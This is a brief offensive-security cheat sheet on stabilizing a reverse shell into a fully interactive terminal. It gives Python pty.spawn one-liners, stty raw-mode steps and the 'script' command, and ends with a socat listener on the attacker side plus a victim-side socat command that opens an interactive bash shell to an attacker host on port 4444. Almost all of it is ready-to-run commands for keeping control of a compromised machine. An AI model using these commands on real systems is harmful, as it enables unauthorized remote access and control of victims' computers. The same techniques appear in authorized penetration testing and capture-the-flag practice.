Python shell

#On REV shell
which python
# python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
 
# python2.7
python -c 'import pty; pty.spawn("/bin/bash")'

On Attacker PC : — Ctrl + Z — Enter — stty raw -echo in attacking terminal and note down the values for rows and columns.

stty raw -echo; fg
stty rows NUMBER cols NUMBER

Script shell

# On REV shell
which script 
/usr/bin/script -qc /bin/bash /dev/null
export TERM=xterm

Socat

# on Attacker
socat file:`tty`,raw,echo=0 tcp-listen:4444
 
# on Victim
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attacker-ip>:4444